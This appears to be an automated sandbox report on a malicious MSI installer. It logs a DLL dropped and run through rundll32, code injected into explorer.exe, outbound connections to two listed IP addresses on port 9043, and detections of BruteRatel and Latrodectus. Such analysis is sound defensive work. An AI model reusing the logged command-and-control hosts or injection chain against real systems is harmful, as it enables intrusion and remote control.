Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\Installer\MSI8F42.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSI8F42.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSI8F42.tmp	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Installer\MSI8F42.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSI8F42.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dsrole.dll	Jump to behavior

Source: C:\Windows\Installer\MSI8F42.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020424-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Source: medk.msi

Static file information: File size 2131456 > 1048576

Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb: source: MSI8F42.tmp, 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmp, MSI8F42.tmp, 00000004.00000000.2131539788.0000000000337000.00000002.00000001.01000000.00000003.sdmp, medk.msi, MSI8F42.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr
Source:	Binary string: eplgOutlook.pdb source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: medk.msi, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: medk.msi, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb source: MSI8F42.tmp, 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmp, MSI8F42.tmp, 00000004.00000000.2131539788.0000000000337000.00000002.00000001.01000000.00000003.sdmp, medk.msi, MSI8F42.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_00000001800D2C10 LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_00000001800D2C10

Source: tab.dll.2.dr

Static PE information: real checksum: 0x16c5c6 should be: 0x1a4b0f

Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0031323C push ecx; ret	4_2_0031324F
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800043FA push rbp; retf	6_2_00000001800043FB
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180004437 push rbp; retf	6_2_0000000180004438
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000430A push rbp; retf	6_2_000000018000430B
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180004326 push rbp; retf	6_2_0000000180004327

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe

Executable created and started: C:\Windows\Installer\MSI8F42.tmp

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8DD8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8F42.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8D3A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8D89.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8E17.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\tab.dll	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8DD8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8F42.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8D3A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8D89.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8E17.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	8_2_02E07274
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,wsprintfA,wsprintfA,wsprintfA,GetComputerNameExA,wsprintfA,GetComputerNameExA,wsprintfA,	8_2_02E08424
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,	8_2_02E10610

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 584	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 8864	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 886	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 870	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI8DD8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI8D3A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI8D89.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI8E17.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\tab.dll	Jump to dropped file

Source: C:\Windows\System32\rundll32.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_6-9410
Source: C:\Windows\Installer\MSI8F42.tmp	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_4-33326

Source: C:\Windows\Installer\MSI8F42.tmp	API coverage: 6.9 %
Source: C:\Windows\System32\rundll32.exe	API coverage: 0.6 %

Source: C:\Windows\explorer.exe TID: 5412	Thread sleep count: 225 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5412	Thread sleep time: -225000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1340	Thread sleep count: 584 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1340	Thread sleep time: -58400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5412	Thread sleep count: 8864 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5412	Thread sleep time: -8864000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0032AF79 FindFirstFileExW,	4_2_0032AF79
Source: C:\Windows\explorer.exe	Code function: 8_2_02E0A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,LoadLibraryExW,	8_2_02E0A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_02E02B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_02E02B28

Source: rundll32.exe, 00000006.00000002.4567543964.00000293119F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW !
Source: explorer.exe, 00000008.00000002.4581549359.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000962B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\msmouse.inf_locv
Source: explorer.exe, 00000008.00000000.2238643975.00000000097F3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000008.00000002.4581549359.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000973C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws
Source: explorer.exe, 00000008.00000003.3082377493.00000000098E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}RoamingCom
Source: explorer.exe, 00000008.00000000.2244189194.000000000C474000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}user
Source: explorer.exe, 00000008.00000002.4581549359.0000000009605000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: explorer.exe, 00000008.00000000.2233677069.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A7F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A7F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.000000000978C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000008.00000000.2233677069.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000W
Source: explorer.exe, 00000008.00000002.4591272026.000000000C474000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 'me#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94
Source: explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000008.00000003.3082377493.00000000098E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}lnkramW6
Source: explorer.exe, 00000008.00000000.2233677069.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000008.00000000.2233677069.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000003.3082377493.00000000098E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Installer\MSI8F42.tmp

Code function: 4_2_002FD0A5 IsDebuggerPresent,OutputDebugStringW,

4_2_002FD0A5

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_00000001800D65BC GetLastError,OutputDebugStringW,

6_2_00000001800D65BC

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_00000001800D2C10 LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_00000001800D2C10

Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0032AD78 mov eax, dword ptr fs:[00000030h]		4_2_0032AD78
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_00322DCC mov ecx, dword ptr fs:[00000030h]		4_2_00322DCC

Source: C:\Windows\Installer\MSI8F42.tmp

Code function: 4_2_002F2310 GetProcessHeap,

4_2_002F2310

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\Installer\MSI8F42.tmp "C:\Windows\Installer\MSI8F42.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\tab.dll, Object

Jump to behavior

Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_003133A8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_003133A8
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0031353F SetUnhandledExceptionFilter,	4_2_0031353F
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_00312968 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00312968
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_00316E1B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00316E1B
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800D50A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00000001800D50A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800DBA64 VirtualAllocExNuma,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00000001800DBA64

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 87.120.37.120 9043			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 45.143.166.230 9043			Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\rundll32.exe

Memory allocated: C:\Windows\explorer.exe base: 2E00000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Windows\System32\rundll32.exe

Code function: 6_3_00007DF4DD100100 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,

6_3_00007DF4DD100100

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\rundll32.exe

Thread created: C:\Windows\explorer.exe EIP: 2E00000

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\rundll32.exe

Memory written: C:\Windows\explorer.exe base: 2E00000 value starts with: 4D5A

Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\rundll32.exe

Memory written: PID: 4004 base: 2E00000 value: 4D

Jump to behavior

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\rundll32.exe

Thread register set: 3784 1

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\rundll32.exe

Memory written: C:\Windows\explorer.exe base: 2E00000

Jump to behavior

Source: C:\Windows\Installer\MSI8F42.tmp

Code function: 4_2_002F52F0 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetModuleHandleW,GetProcAddress,GetProcAddress,AllowSetForegroundWindow,GetModuleHandleW,GetProcAddress,Sleep,Sleep,EnumWindows,BringWindowToTop,WaitForSingleObject,GetExitCodeProcess,

4_2_002F52F0

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180001510 GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,

6_2_0000000180001510

Source: explorer.exe, 00000008.00000002.4567636465.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2233973197.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: explorer.exe, 00000008.00000002.4567636465.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2235166234.00000000048E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2233973197.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000002.4567636465.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2233973197.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000008.00000000.2233677069.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4564271151.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +Progman
Source: explorer.exe, 00000008.00000002.4567636465.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2233973197.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000008.00000000.2238643975.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3075025138.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.00000000098E3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd31A

Source: C:\Windows\Installer\MSI8F42.tmp

Code function: 4_2_003135A9 cpuid

4_2_003135A9

Source: C:\Windows\Installer\MSI8F42.tmp	Code function: EnumSystemLocalesW,	4_2_0032E0C6
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: EnumSystemLocalesW,	4_2_00327132
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: EnumSystemLocalesW,	4_2_0032E111
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: EnumSystemLocalesW,	4_2_0032E1AC
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_0032E237
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: GetLocaleInfoEx,	4_2_003123F8
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: GetLocaleInfoW,	4_2_0032E48A
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_0032E5B3
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: GetLocaleInfoW,	4_2_0032E6B9
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: GetLocaleInfoW,	4_2_003276AF
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_0032E788
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	4_2_0032DE24
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_00000001800FA4C8
Source: C:\Windows\System32\rundll32.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	6_2_00000001800FA160
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_00000001800FA598
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_00000001800FA9D8
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_00000001800EFEA8
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,	6_2_00000001800F0328
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_00000001800FABBC

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Windows\Installer\MSI8F42.tmp

Code function: 4_2_003137D5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_003137D5

Source: C:\Windows\explorer.exe

Code function: 8_2_02E08D3C GetUserNameA,wsprintfA,

8_2_02E08D3C

Source: C:\Windows\Installer\MSI8F42.tmp

Code function: 4_2_00327B1F GetTimeZoneInformation,

4_2_00327B1F

Source: C:\Windows\explorer.exe

Code function: 8_2_02E100E8 RtlGetVersion,

8_2_02E100E8

Stealing of Sensitive Information

Yara detected BruteRatel

Source: Yara match	File source: 00000006.00000003.2232622768.000002931397B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2232567502.000002931397B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2232697308.000002931397B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 3784, type: MEMORYSTR

Yara detected Latrodectus

Source: Yara match	File source: 00000008.00000002.4591745236.000000000E21B000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected BruteRatel

Source: Yara match	File source: 00000006.00000003.2232622768.000002931397B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2232567502.000002931397B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2232697308.000002931397B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 3784, type: MEMORYSTR

Yara detected Latrodectus

Source: Yara match	File source: 00000008.00000002.4591745236.000000000E21B000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
